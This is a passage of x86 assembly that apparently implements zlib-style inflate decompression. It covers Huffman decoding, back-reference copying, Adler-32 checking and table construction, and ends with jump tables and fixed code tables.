mov dword ptr [esp + 20H], eax
mov eax, dword ptr [esp + 30H]
@@127: mov ecx, dword ptr [ebx + 68H]
mov word ptr [ebx + ecx*2 + 70H], ax
inc dword ptr [ebx + 68H]
dec dword ptr [esp + 20H]
jnz @@127
@@128: mov ecx, dword ptr [ebx + 60H]
mov eax, dword ptr [ebx + 64H]
add eax, ecx
cmp dword ptr [ebx + 68H], eax
jb @@111
@@129: cmp dword ptr [ebx], 27
je @@175
lea eax, [ebx + 00000530H]
lea ecx, [ebx + 6CH]
mov dword ptr [ecx], eax
lea edx, [ebx + 000002F0H]
push edx
mov dword ptr [ebx + 4CH], eax
lea eax, [ebx + 54H]
push eax
push ecx
mov ecx, dword ptr [ebx + 60H]
push ecx
lea edx, [ebx + 70H]
push edx
push 1
mov dword ptr [eax], 9
call @@196
test eax, eax
mov dword ptr [esp + 2CH], eax
jz @@132
mov eax, dword ptr [esp + 48H]
mov edx, dword ptr [esp + 10H]
mov dword ptr [eax + 18H], offset Err248
jmp @@174
@@130: mov ecx, dword ptr [esp + 48H]
mov dword ptr [ecx + 18H], offset Err248
jmp @@174
@@131: mov eax, dword ptr [esp + 48H]
mov dword ptr [eax + 18H], offset Err248
jmp @@174
@@132: mov edx, dword ptr [ebx + 6CH]
lea ecx, [ebx + 6CH]
mov dword ptr [ebx + 50H], edx
lea edx, [ebx + 000002F0H]
push edx
lea eax, [ebx + 58H]
push eax
push ecx
mov ecx, dword ptr [ebx + 60H]
mov dword ptr [eax], 6
mov eax, dword ptr [ebx + 64H]
push eax
lea edx, [ebx + ecx*2 + 70H]
push edx
push 2
call @@196
test eax, eax
mov edx, dword ptr [esp + 10H]
mov dword ptr [esp + 2CH], eax
jz @@133
mov eax, dword ptr [esp + 48H]
mov dword ptr [eax + 18H], offset Err248
jmp @@174
@@133: mov dword ptr [ebx], 18
@@134: cmp edi, 6
jc @@135
cmp dword ptr [esp + 1CH], 258
jc @@135
mov eax, dword ptr [esp + 48H]
mov ecx, dword ptr [esp + 24H]
mov dword ptr [eax + 0CH], ecx
mov ecx, dword ptr [esp + 1CH]
mov dword ptr [eax + 10H], ecx
mov dword ptr [eax], esi
mov dword ptr [eax + 04H], edi
mov dword ptr [ebx + 38H], edx
mov edx, dword ptr [esp + 28H]
push edx
push eax
mov dword ptr [ebx + 3CH], ebp
call Inline018
mov eax, dword ptr [esp + 48H]
mov edx, dword ptr [eax + 10H]
mov ecx, dword ptr [eax + 0CH]
mov esi, dword ptr [eax]
mov edi, dword ptr [eax + 04H]
mov eax, dword ptr [ebx + 38H]
mov ebp, dword ptr [ebx + 3CH]
mov dword ptr [esp + 1CH], edx
mov dword ptr [esp + 24H], ecx
mov dword ptr [esp + 14H], esi
mov dword ptr [esp + 18H], edi
mov dword ptr [esp + 10H], eax
mov edx, eax
jmp @@175
@@135: mov ecx, dword ptr [ebx + 54H]
mov eax, 1
shl eax, cl
dec eax
and eax, edx
mov ecx, eax
mov eax, dword ptr [ebx + 4CH]
mov eax, dword ptr [eax + ecx*4]
movzx ecx, ah
cmp ecx, ebp
mov dword ptr [esp + 3CH], eax
jbe @@137
@@136: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
mov ecx, dword ptr [ebx + 54H]
dec edi
add ebp, 8
add edx, eax
mov eax, 1
shl eax, cl
mov ecx, dword ptr [ebx + 4CH]
inc esi
mov dword ptr [esp + 18H], edi
dec eax
and eax, edx
mov eax, dword ptr [ecx + eax*4]
movzx ecx, ah
cmp ecx, ebp
mov dword ptr [esp + 14H], esi
mov dword ptr [esp + 3CH], eax
ja @@136
@@137: test al, al
je @@140
test al, 0F0H
jne @@140
movzx ecx, ah
mov dword ptr [esp + 20H], ecx
xor ecx, ecx
mov cl, al
mov dword ptr [esp + 10H], eax
add ecx, dword ptr [esp + 20H]
mov eax, 1
shl eax, cl
mov ecx, dword ptr [esp + 20H]
dec eax
and eax, edx
shr eax, cl
mov ecx, dword ptr [esp + 3CH]
shr ecx, 16
add eax, ecx
mov ecx, eax
mov eax, dword ptr [ebx + 4CH]
mov eax, dword ptr [eax + ecx*4]
mov ecx, dword ptr [esp + 10H]
shr ecx, 8
mov dword ptr [esp + 3CH], eax
movzx ecx, cl
movzx eax, ah
add eax, ecx
cmp eax, ebp
mov dword ptr [esp + 20H], ecx
jbe @@139
@@138: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
xor ecx, ecx
mov cl, byte ptr [esp + 10H]
dec edi
add edx, eax
mov eax, dword ptr [esp + 20H]
inc esi
add ebp, 8
mov dword ptr [esp + 18H], edi
add ecx, eax
mov eax, 1
shl eax, cl
mov ecx, dword ptr [esp + 20H]
mov dword ptr [esp + 14H], esi
dec eax
and eax, edx
shr eax, cl
movzx ecx, word ptr [esp + 12H]
add eax, ecx
mov ecx, dword ptr [ebx + 4CH]
mov eax, dword ptr [ecx + eax*4]
mov ecx, dword ptr [esp + 20H]
mov dword ptr [esp + 3CH], eax
movzx eax, ah
add eax, ecx
cmp eax, ebp
ja @@138
@@139: mov eax, dword ptr [esp + 3CH]
shr edx, cl
sub ebp, ecx
@@140: movzx ecx, ah
shr edx, cl
movzx ecx, ah
sub ebp, ecx
mov ecx, dword ptr [esp + 3CH]
shr ecx, 16
test al, al
mov dword ptr [esp + 10H], edx
mov dword ptr [ebx + 40H], ecx
jnz @@141
mov dword ptr [ebx], 23
jmp @@175
@@141: test al, 20H
jz @@143
@@142: mov dword ptr [ebx], 11
jmp @@175
@@143: test al, 40H
jz @@144
mov eax, dword ptr [esp + 48H]
mov dword ptr [eax + 18H], offset Err248
jmp @@174
@@144: and eax, 0000000FH
mov dword ptr [ebx + 48H], eax
mov dword ptr [ebx], 19
@@145: mov eax, dword ptr [ebx + 48H]
test eax, eax
jz @@148
cmp ebp, eax
jnc @@147
@@146: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
dec edi
add ebp, 8
mov dword ptr [esp + 18H], edi
add edx, eax
mov eax, dword ptr [ebx + 48H]
inc esi
cmp ebp, eax
mov dword ptr [esp + 14H], esi
jc @@146
@@147: mov ecx, dword ptr [ebx + 48H]
mov eax, 1
shl eax, cl
mov ecx, dword ptr [ebx + 40H]
dec eax
and eax, edx
add ecx, eax
mov dword ptr [ebx + 40H], ecx
mov ecx, dword ptr [ebx + 48H]
shr edx, cl
sub ebp, ecx
@@148: mov dword ptr [ebx], 20
@@149: mov ecx, dword ptr [ebx + 58H]
mov eax, 1
shl eax, cl
dec eax
and eax, edx
mov ecx, eax
mov eax, dword ptr [ebx + 50H]
mov eax, dword ptr [eax + ecx*4]
movzx ecx, ah
cmp ecx, ebp
mov dword ptr [esp + 3CH], eax
jbe @@151
@@150: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
mov ecx, dword ptr [ebx + 58H]
dec edi
add ebp, 8
add edx, eax
mov eax, 1
shl eax, cl
mov ecx, dword ptr [ebx + 50H]
inc esi
mov dword ptr [esp + 18H], edi
dec eax
and eax, edx
mov eax, dword ptr [ecx + eax*4]
movzx ecx, ah
cmp ecx, ebp
mov dword ptr [esp + 14H], esi
mov dword ptr [esp + 3CH], eax
ja @@150
@@151: test al, 0F0H
jne @@154
movzx ecx, ah
mov dword ptr [esp + 20H], ecx
xor ecx, ecx
mov cl, al
mov dword ptr [esp + 10H], eax
add ecx, dword ptr [esp + 20H]
mov eax, 1
shl eax, cl
mov ecx, dword ptr [esp + 20H]
dec eax
and eax, edx
shr eax, cl
mov ecx, dword ptr [esp + 3CH]
shr ecx, 16
add eax, ecx
mov ecx, eax
mov eax, dword ptr [ebx + 50H]
mov eax, dword ptr [eax + ecx*4]
mov ecx, dword ptr [esp + 10H]
shr ecx, 8
mov dword ptr [esp + 3CH], eax
movzx ecx, cl
movzx eax, ah
add eax, ecx
cmp eax, ebp
mov dword ptr [esp + 20H], ecx
jbe @@153
@@152: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
xor ecx, ecx
mov cl, byte ptr [esp + 10H]
dec edi
add edx, eax
mov eax, dword ptr [esp + 20H]
inc esi
add ebp, 8
mov dword ptr [esp + 18H], edi
add ecx, eax
mov eax, 1
shl eax, cl
mov ecx, dword ptr [esp + 20H]
mov dword ptr [esp + 14H], esi
dec eax
and eax, edx
shr eax, cl
movzx ecx, word ptr [esp + 12H]
add eax, ecx
mov ecx, dword ptr [ebx + 50H]
mov eax, dword ptr [ecx + eax*4]
mov ecx, dword ptr [esp + 20H]
mov dword ptr [esp + 3CH], eax
movzx eax, ah
add eax, ecx
cmp eax, ebp
ja @@152
@@153: mov eax, dword ptr [esp + 3CH]
shr edx, cl
sub ebp, ecx
@@154: movzx ecx, ah
shr edx, cl
movzx ecx, ah
sub ebp, ecx
test al, 40H
mov dword ptr [esp + 10H], edx
jz @@155
mov ecx, dword ptr [esp + 48H]
mov dword ptr [ecx + 18H], offset Err248
jmp @@174
@@155: mov ecx, dword ptr [esp + 3CH]
shr ecx, 16
and eax, 0000000FH
mov dword ptr [ebx + 44H], ecx
mov dword ptr [ebx + 48H], eax
mov dword ptr [ebx], 21
@@156: mov eax, dword ptr [ebx + 48H]
test eax, eax
jz @@159
cmp ebp, eax
jnc @@158
@@157: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
dec edi
add ebp, 8
mov dword ptr [esp + 18H], edi
add edx, eax
mov eax, dword ptr [ebx + 48H]
inc esi
cmp ebp, eax
mov dword ptr [esp + 14H], esi
jc @@157
@@158: mov ecx, dword ptr [ebx + 48H]
mov eax, 1
shl eax, cl
mov ecx, dword ptr [ebx + 44H]
dec eax
and eax, edx
add ecx, eax
mov dword ptr [ebx + 44H], ecx
mov ecx, dword ptr [ebx + 48H]
shr edx, cl
sub ebp, ecx
mov dword ptr [esp + 10H], edx
@@159: mov eax, dword ptr [esp + 1CH]
mov ecx, dword ptr [ebx + 2CH]
sub ecx, eax
add ecx, dword ptr [esp + 28H]
cmp dword ptr [ebx + 44H], ecx
jbe @@160
mov eax, dword ptr [esp + 48H]
mov dword ptr [eax + 18H], offset Err248
jmp @@174
@@160: mov dword ptr [ebx], 22
@@161: mov eax, dword ptr [esp + 1CH]
test eax, eax
je @@183
mov ecx, dword ptr [esp + 28H]
sub ecx, eax
mov eax, dword ptr [ebx + 44H]
cmp eax, ecx
jbe @@164
sub eax, ecx
mov ecx, dword ptr [ebx + 30H]
cmp eax, ecx
mov dword ptr [esp + 20H], eax
jbe @@162
sub eax, ecx
mov ecx, dword ptr [ebx + 34H]
add ecx, dword ptr [ebx + 28H]
mov dword ptr [esp + 20H], eax
sub ecx, eax
jmp @@163
@@162: mov ecx, dword ptr [ebx + 34H]
sub ecx, eax
add ecx, dword ptr [ebx + 30H]
mov eax, dword ptr [esp + 20H]
@@163: mov dword ptr [esp + 30H], ecx
mov ecx, dword ptr [ebx + 40H]
cmp eax, ecx
mov dword ptr [esp + 34H], ecx
jbe @@166
mov eax, ecx
jmp @@165
@@164: mov ecx, dword ptr [esp + 24H]
sub ecx, eax
mov eax, dword ptr [ebx + 40H]
mov dword ptr [esp + 30H], ecx
mov dword ptr [esp + 34H], eax
@@165: mov dword ptr [esp + 20H], eax
@@166: mov ecx, dword ptr [esp + 1CH]
cmp eax, ecx
jbe @@167
mov eax, ecx
mov dword ptr [esp + 20H], eax
@@167: sub ecx, eax
mov dword ptr [esp + 1CH], ecx
mov ecx, dword ptr [esp + 34H]
sub ecx, eax
mov eax, dword ptr [esp + 24H]
mov dword ptr [ebx + 40H], ecx
@@168: mov ecx, dword ptr [esp + 30H]
mov cl, byte ptr [ecx]
mov byte ptr [eax], cl
mov ecx, dword ptr [esp + 30H]
inc eax
inc ecx
mov dword ptr [esp + 30H], ecx
dec dword ptr [esp + 20H]
jnz @@168
mov dword ptr [esp + 24H], eax
mov eax, dword ptr [ebx + 40H]
test eax, eax
jne @@175
mov dword ptr [ebx], 18
jmp @@175
@@169: mov eax, dword ptr [esp + 1CH]
test eax, eax
je @@183
mov eax, dword ptr [esp + 24H]
mov cl, byte ptr [ebx + 40H]
mov byte ptr [eax], cl
inc eax
mov dword ptr [esp + 24H], eax
dec dword ptr [esp + 1CH]
mov dword ptr [ebx], 18
jmp @@175
@@170: mov eax, dword ptr [ebx + 08H]
test eax, eax
je @@180
cmp ebp, 32
jnc @@172
@@171: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
dec edi
add ebp, 8
mov dword ptr [esp + 18H], edi
add edx, eax
inc esi
cmp ebp, 32
mov dword ptr [esp + 10H], edx
mov dword ptr [esp + 14H], esi
jc @@171
@@172: mov eax, dword ptr [esp + 28H]
sub eax, dword ptr [esp + 1CH]
mov ecx, dword ptr [esp + 48H]
add dword ptr [ecx + 14H], eax
mov ecx, dword ptr [ebx + 1CH]
add ecx, eax
test eax, eax
mov dword ptr [esp + 28H], eax
mov dword ptr [ebx + 1CH], ecx
jz @@173
mov ecx, dword ptr [esp + 24H]
mov edx, dword ptr [ebx + 18H]
push eax
sub ecx, eax
push ecx
push edx // parameters on stack
pop eax
pop edx
pop ecx // register calling convention
call Adler32
mov ecx, dword ptr [esp + 48H]
mov edx, dword ptr [esp + 10H]
mov dword ptr [ebx + 18H], eax
mov dword ptr [ecx + 30H], eax
@@173: mov eax, dword ptr [esp + 1CH]
mov dword ptr [esp + 28H], eax
mov ecx, edx
and ecx, 0000FF00H
mov eax, edx
shl eax, 16
add ecx, eax
xor eax, eax
mov ah, byte ptr [esp + 12H]
shl ecx, 8
add ecx, eax
mov eax, edx
shr eax, 24
add ecx, eax
cmp ecx, dword ptr [ebx + 18H]
jz @@179
mov ecx, dword ptr [esp + 48H]
mov dword ptr [ecx + 18H], offset Err248
@@174: mov dword ptr [ebx], 27
@@175: mov eax, dword ptr [ebx]
cmp eax, 28
jbe @@069
@@176: mov eax, -2
@@177: pop edi
pop esi
pop ebp
pop ebx
add esp, 52
ret 8
@@178: mov eax, dword ptr [esp + 48H]
mov ecx, dword ptr [esp + 24H]
mov dword ptr [eax + 0CH], ecx
mov ecx, dword ptr [esp + 1CH]
mov dword ptr [eax + 04H], edi
mov dword ptr [eax], esi
pop edi
mov dword ptr [eax + 10H], ecx
pop esi
mov dword ptr [ebx + 3CH], ebp
pop ebp
mov dword ptr [ebx + 38H], edx
mov eax, 2
pop ebx
add esp, 52
ret 8
@@179: xor ebp, ebp
mov dword ptr [esp + 10H], ebp
mov edx, ebp
@@180: mov dword ptr [ebx], 26
@@181: mov dword ptr [esp + 2CH], 1
jmp @@183
@@182: mov dword ptr [esp + 2CH], -3
@@183: mov eax, dword ptr [esp + 48H]
mov ecx, dword ptr [esp + 24H]
mov dword ptr [eax + 0CH], ecx
mov ecx, dword ptr [esp + 1CH]
mov dword ptr [eax + 10H], ecx
mov dword ptr [eax], esi
mov dword ptr [eax + 04H], edi
mov eax, dword ptr [ebx + 28H]
test eax, eax
mov dword ptr [ebx + 38H], edx
mov dword ptr [ebx + 3CH], ebp
jnz @@184
cmp dword ptr [ebx], 24
jge @@186
mov eax, dword ptr [esp + 48H]
mov edx, dword ptr [esp + 28H]
cmp edx, dword ptr [eax + 10H]
jz @@186
@@184: mov ecx, dword ptr [esp + 48H]
mov eax, dword ptr [esp + 28H]
push ecx
call Inline059;
test eax, eax
jz @@186
mov dword ptr [ebx], 28
@@185: pop edi
pop esi
pop ebp
mov eax, -4
pop ebx
add esp, 52
ret 8
@@186: mov esi, dword ptr [esp + 48H]
mov edx, dword ptr [esi + 04H]
mov ecx, dword ptr [esi + 10H]
mov ebp, dword ptr [esp + 38H]
mov edi, dword ptr [esp + 28H]
mov eax, dword ptr [esi + 08H]
sub ebp, edx
mov edx, dword ptr [esi + 14H]
sub edi, ecx
add eax, ebp
add edx, edi
mov dword ptr [esi + 08H], eax
mov dword ptr [esi + 14H], edx
mov ecx, dword ptr [ebx + 1CH]
mov eax, dword ptr [ebx + 08H]
add ecx, edi
test eax, eax
mov dword ptr [ebx + 1CH], ecx
jz @@187
test edi, edi
jz @@187
mov edx, dword ptr [esi + 0CH]
mov eax, dword ptr [ebx + 18H]
mov ecx,edi
sub edx, edi
call Adler32 // register calling convention
mov dword ptr [ebx + 18H], eax
mov dword ptr [esi + 30H], eax
@@187: mov ecx, dword ptr [ebx + 04H]
mov eax, dword ptr [ebx]
neg ecx
sbb ecx, ecx
xor edx, edx
and ecx, 00000040H
cmp eax, 11
setne dl
dec edx
and edx, 00000080H
add ecx, edx
add ecx, dword ptr [ebx + 3CH]
test ebp, ebp
mov dword ptr [esi + 2CH], ecx
jnz @@188
test edi, edi
jz @@189
@@188: cmp dword ptr [esp + 4CH], 4
jnz @@190
@@189: mov eax, dword ptr [esp + 2CH]
test eax, eax
jne @@177
pop edi
pop esi
pop ebp
mov eax, -5
pop ebx
add esp, 52
ret 8
@@190: mov eax, dword ptr [esp + 2CH]
pop edi
pop esi
pop ebp
pop ebx
add esp, 52
ret 8
@@191: mov eax, -2
pop ebx
add esp, 52
ret 8
@@196: sub esp, 124
mov edx, dword ptr [esp + 00000088H]
xor eax, eax
test edx, edx
mov dword ptr [esp + 3CH], eax
mov dword ptr [esp + 40H], eax
mov dword ptr [esp + 44H], eax
mov dword ptr [esp + 48H], eax
mov dword ptr [esp + 4CH], eax
push ebx
mov dword ptr [esp + 54H], eax
push ebp
mov ebp, dword ptr [esp + 0000008CH]
mov dword ptr [esp + 5CH], eax
push esi
mov dword ptr [esp + 64H], eax
jbe @@198
@@197: movzx ecx, word ptr [ebp + eax*2]
inc word ptr [esp + ecx*2 + 48H]
lea ecx, [esp + ecx*2 + 48H]
inc eax
cmp eax, edx
jc @@197
@@198: mov esi, dword ptr [esp + 0000009CH]
mov eax, dword ptr [esi]
mov ebx, 15
mov dword ptr [esp + 10H], eax
mov dword ptr [esp + 18H], ebx
@@199: cmp word ptr [esp + ebx*2 + 48H], 0
jnz @@200
dec ebx
cmp ebx, 1
jnc @@199
@@200: cmp eax, ebx
mov dword ptr [esp + 18H], ebx
jbe @@201
mov dword ptr [esp + 10H], ebx
@@201: test ebx, ebx
jnz @@202
mov eax, dword ptr [esp + 00000098H]
mov edx, dword ptr [eax]
mov word ptr [esp + 0EH], bx
mov byte ptr [esp + 0CH], 64
mov byte ptr [esp + 0DH], 1
mov ecx, dword ptr [esp + 0CH]
mov dword ptr [edx], ecx
mov edx, dword ptr [eax]
add edx, 4
mov dword ptr [eax], edx
mov dword ptr [edx], ecx
add dword ptr [eax], 4
mov dword ptr [esi], 1
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 124
ret 24
@@202: mov esi, 1
@@203: cmp word ptr [esp + esi*2 + 48H], 0
jnz @@208
cmp word ptr [esp + esi*2 + 4AH], 0
jnz @@204
cmp word ptr [esp + esi*2 + 4CH], 0
jnz @@205
cmp word ptr [esp + esi*2 + 4EH], 0
jnz @@206
cmp word ptr [esp + esi*2 + 50H], 0
jnz @@207
add esi, 5
cmp esi, 15
jbe @@203
jmp @@208
@@204: inc esi
jmp @@208
@@205: add esi, 2
jmp @@208
@@206: add esi, 3
jmp @@208
@@207: add esi, 4
@@208: cmp dword ptr [esp + 10H], esi
jnc @@209
mov dword ptr [esp + 10H], esi
@@209: mov edx, 1
mov eax, edx
@@210: movzx ecx, word ptr [esp + eax*2 + 48H]
add edx, edx
sub edx, ecx
js @@212
inc eax
cmp eax, 15
jbe @@210
test edx, edx
push edi
mov edi, dword ptr [esp + 00000090H]
jle @@213
test edi, edi
jz @@211
cmp ebx, 1
jz @@213
@@211: pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFH
pop ebx
add esp, 124
ret 24
@@212: pop esi
pop ebp
or eax, 0FFFFFFFFH
pop ebx
add esp, 124
ret 24
@@213:
mov word ptr [esp + 6EH], 0
mov eax, 2
@@214: mov dx, word ptr [esp + eax + 6CH]
add dx, word ptr [esp + eax + 4CH]
mov cx, word ptr [esp + eax + 4EH]
add cx, dx
mov word ptr [esp + eax + 6EH], dx
mov word ptr [esp + eax + 70H], cx
add eax, 4
cmp eax, 30
jc @@214
mov ebx, dword ptr [esp + 00000098H]
xor eax, eax
test ebx, ebx
jbe @@217
@@215: cmp word ptr [ebp + eax*2], 0
jz @@216
movzx edx, word ptr [ebp + eax*2]
movzx ecx, word ptr [esp + edx*2 + 6CH]
mov edx, dword ptr [esp + 000000A4H]
mov word ptr [edx + ecx*2], ax
movzx edx, word ptr [ebp + eax*2]
inc word ptr [esp + edx*2 + 6CH]
lea edx, [esp + edx*2 + 6CH]
@@216: inc eax
cmp eax, ebx
jc @@215
@@217: mov eax, edi
sub eax, 0
mov edx, -1
jz @@219
dec eax
jz @@218
mov dword ptr [esp + 34H], offset @@265
mov dword ptr [esp + 30H], offset @@266
mov dword ptr [esp + 2CH], edx
jmp @@221
@@218: mov eax, offset @@263
sub eax, 514
mov dword ptr [esp + 34H], eax
mov eax, offset @@264
sub eax, 514
mov dword ptr [esp + 2CH], 256
jmp @@220
@@219: mov eax, dword ptr [esp + 000000A4H]
mov dword ptr [esp + 34H], eax
mov dword ptr [esp + 2CH], 19
@@220: mov dword ptr [esp + 30H], eax
@@221: mov eax, dword ptr [esp + 0000009CH]
mov ecx, dword ptr [eax]
mov dword ptr [esp + 20H], ecx
mov ecx, dword ptr [esp + 14H]
mov eax, 1
shl eax, cl
mov dword ptr [esp + 38H], edx
xor ebp, ebp
xor ebx, ebx
cmp edi, 1
lea edx, [eax - 01H]
mov dword ptr [esp + 18H], esi
mov dword ptr [esp + 3CH], eax
mov dword ptr [esp + 28H], eax
mov dword ptr [esp + 40H], edx
jnz @@222
cmp eax, 1456
jae @@244
@@222: mov eax, dword ptr [esp + 000000A4H]
mov dword ptr [esp + 24H], eax
@@223: mov cl, byte ptr [esp + 18H]
mov esi, dword ptr [esp + 24H]
mov ax, word ptr [esi]
mov edx, dword ptr [esp + 2CH]
sub cl, bl
mov byte ptr [esp + 11H], cl
movzx ecx, ax
cmp ecx, edx
jge @@224
mov byte ptr [esp + 10H], 0
mov word ptr [esp + 12H], ax
jmp @@226
@@224: jle @@225
movzx eax, word ptr [esi]
mov edx, dword ptr [esp + 30H]
shl eax, 1
mov cl, byte ptr [eax + edx]
mov edx, dword ptr [esp + 34H]
mov ax, word ptr [eax + edx]
mov byte ptr [esp + 10H], cl
mov word ptr [esp + 12H], ax
jmp @@226
@@225: mov byte ptr [esp + 10H], 96
mov word ptr [esp + 12H], 0
@@226: mov ecx, dword ptr [esp + 18H]
mov eax, dword ptr [esp + 3CH]
sub ecx, ebx
mov edx, 1
shl edx, cl
mov ecx, ebx
mov edi, ebp
shr edi, cl
mov ecx, dword ptr [esp + 20H]
mov dword ptr [esp + 44H], eax
lea esi, [edx*4]
add edi, eax
lea ecx, [ecx + edi*4]
mov edi, dword ptr [esp + 10H]
@@227: sub eax, edx
sub ecx, esi
test eax, eax
mov dword ptr [ecx], edi
jnz @@227
mov edx, dword ptr [esp + 18H]
lea ecx, [edx - 01H]
mov eax, 1
shl eax, cl
test ebp, eax
jz @@229
@@228: shr eax, 1
test ebp, eax
jnz @@228
@@229: test eax, eax
jz @@230
lea ecx, [eax - 01H]
and ecx, ebp
add ecx, eax
mov ebp, ecx
jmp @@231
@@230: xor ebp, ebp
@@231: mov esi, dword ptr [esp + 24H]
add esi, 2
dec word ptr [esp + edx*2 + 4CH]
cmp word ptr [esp + edx*2 + 4CH], 0
mov dword ptr [esp + 24H], esi
jnz @@232
cmp edx, dword ptr [esp + 1CH]
je @@238
mov ecx, dword ptr [esp + 00000094H]
mov edx, esi
movzx eax, word ptr [edx]
movzx edx, word ptr [ecx + eax*2]
mov dword ptr [esp + 18H], edx
@@232: cmp edx, dword ptr [esp + 14H]
jbe @@223
mov esi, dword ptr [esp + 40H]
mov eax, dword ptr [esp + 38H]
and esi, ebp
cmp esi, eax
mov dword ptr [esp + 48H], esi
je @@223
test ebx, ebx
jnz @@233
mov ebx, dword ptr [esp + 14H]
@@233: mov eax, dword ptr [esp + 20H]
mov ecx, dword ptr [esp + 44H]
mov edi, dword ptr [esp + 1CH]
lea edx, [eax + ecx*4]
mov ecx, dword ptr [esp + 18H]
sub ecx, ebx
mov dword ptr [esp + 20H], edx
mov eax, 1
lea edx, [ebx + ecx]
shl eax, cl
cmp edx, edi
jnc @@236
lea esi, [esp + edx*2 + 4CH]
@@234: movzx edi, word ptr [esi]
sub eax, edi
test eax, eax
jle @@235
mov edi, dword ptr [esp + 1CH]
inc ecx
inc edx
add esi, 2
shl eax, 1
cmp edx, edi
jc @@234
@@235: mov esi, dword ptr [esp + 48H]
@@236: mov edx, dword ptr [esp + 28H]
mov eax, 1
shl eax, cl
add edx, eax
mov dword ptr [esp + 3CH], eax
cmp dword ptr [esp + 00000090H], 1
mov dword ptr [esp + 28H], edx
jnz @@237
mov eax, edx
cmp eax, 1456
jae @@244
@@237: mov edx, esi
mov esi, dword ptr [esp + 0000009CH]
mov eax, dword ptr [esi]
mov byte ptr [eax + edx*4], cl
mov ecx, dword ptr [esi]
mov al, byte ptr [esp + 14H]
mov byte ptr [ecx + edx*4 + 01H], al
mov eax, dword ptr [esi]
mov ecx, dword ptr [esp + 20H]
sub ecx, eax
sar ecx, 2
mov dword ptr [esp + 38H], edx
mov word ptr [eax + edx*4 + 02H], cx
jmp @@223
@@238: mov edi, dword ptr [esp + 0000009CH]
mov al, dl
sub al, bl
test ebp, ebp
mov byte ptr [esp + 10H], 64
mov byte ptr [esp + 11H], al
mov word ptr [esp + 12H], 0
jz @@243
mov esi, dword ptr [esp + 20H]
@@239: test ebx, ebx
jz @@240
mov ecx, dword ptr [esp + 40H]
mov eax, dword ptr [esp + 38H]
and ecx, ebp
cmp ecx, eax
jz @@240
mov eax, dword ptr [esp + 14H]
mov esi, dword ptr [edi]
xor ebx, ebx
mov dword ptr [esp + 18H], eax
mov byte ptr [esp + 11H], al
mov edx, eax
@@240: mov ecx, ebx
mov eax, ebp
shr eax, cl
mov ecx, dword ptr [esp + 10H]
mov dword ptr [esi + eax*4], ecx
lea ecx, [edx - 01H]
mov eax, 1
shl eax, cl
test ebp, eax
jz @@242
@@241: shr eax, 1
test ebp, eax
jnz @@241
@@242: test eax, eax
jz @@243
lea ecx, [eax - 01H]
and ecx, ebp
add ecx, eax
mov ebp, ecx
jnz @@239
@@243: mov edx, dword ptr [esp + 28H]
mov ecx, dword ptr [edi]
lea eax, [edx*4]
mov edx, dword ptr [esp + 14H]
add ecx, eax
mov dword ptr [edi], ecx
mov ecx, dword ptr [esp + 000000A0H]
pop edi
pop esi
pop ebp
mov dword ptr [ecx], edx
xor eax, eax
pop ebx
add esp, 124
ret 24
@@244: pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 124
ret 24
nop; nop
@@192: dd @@070 // buffer is 8 bytes aligned
dd @@176
dd @@176
dd @@176
dd @@176
dd @@176
dd @@176
dd @@176
dd @@176
dd @@077
dd @@080
dd @@081
dd @@082
dd @@091
dd @@095
dd @@098
dd @@101
dd @@110
dd @@134
dd @@145
dd @@149
dd @@156
dd @@161
dd @@169
dd @@170
dd @@176
dd @@181
dd @@182
dd @@185
@@193: dd @@086
dd @@087
dd @@088
dd @@089
@@251: dw 0010H, 0011H, 0012H, 0000H
dw 0008H, 0007H, 0009H, 0006H
dw 000AH, 0005H, 000BH, 0004H
dw 000CH, 0003H, 000DH, 0002H
dw 000EH, 0001H, 000FH, 0000H
@@249: db 60H, 07H, 00H, 00H, 00H, 08H, 50H, 00H
db 00H, 08H, 10H, 00H, 14H, 08H, 73H, 00H
db 12H, 07H, 1FH, 00H, 00H, 08H, 70H, 00H
db 00H, 08H, 30H, 00H, 00H, 09H, 0C0H, 00H
db 10H, 07H, 0AH, 00H, 00H, 08H, 60H, 00H
db 00H, 08H, 20H, 00H, 00H, 09H, 0A0H, 00H
db 00H, 08H, 00H, 00H, 00H, 08H, 80H, 00H
db 00H, 08H, 40H, 00H, 00H, 09H, 0E0H, 00H
db 10H, 07H, 06H, 00H, 00H, 08H, 58H, 00H
db 00H, 08H, 18H, 00H, 00H, 09H, 90H, 00H
db 13H, 07H, 3BH, 00H, 00H, 08H, 78H, 00H
db 00H, 08H, 38H, 00H, 00H, 09H, 0D0H, 00H
db 11H, 07H, 11H, 00H, 00H, 08H, 68H, 00H
db 00H, 08H, 28H, 00H, 00H, 09H, 0B0H, 00H
db 00H, 08H, 08H, 00H, 00H, 08H, 88H, 00H
db 00H, 08H, 48H, 00H, 00H, 09H, 0F0H, 00H
db 10H, 07H, 04H, 00H, 00H, 08H, 54H, 00H
db 00H, 08H, 14H, 00H, 15H, 08H, 0E3H, 00H
db 13H, 07H, 2BH, 00H, 00H, 08H, 74H, 00H
db 00H, 08H, 34H, 00H, 00H, 09H, 0C8H, 00H
db 11H, 07H, 0DH, 00H, 00H, 08H, 64H, 00H
db 00H, 08H, 24H, 00H, 00H, 09H, 0A8H, 00H
db 00H, 08H, 04H, 00H, 00H, 08H, 84H, 00H
db 00H, 08H, 44H, 00H, 00H, 09H, 0E8H, 00H
db 10H, 07H, 08H, 00H, 00H, 08H, 5CH, 00H
db 00H, 08H, 1CH, 00H, 00H, 09H, 98H, 00H
db 14H, 07H, 53H, 00H, 00H, 08H, 7CH, 00H
db 00H, 08H, 3CH, 00H, 00H, 09H, 0D8H, 00H
db 12H, 07H, 17H, 00H, 00H, 08H, 6CH, 00H
db 00H, 08H, 2CH, 00H, 00H, 09H, 0B8H, 00H
db 00H, 08H, 0CH, 00H, 00H, 08H, 8CH, 00H
db 00H, 08H, 4CH, 00H, 00H, 09H, 0F8H, 00H
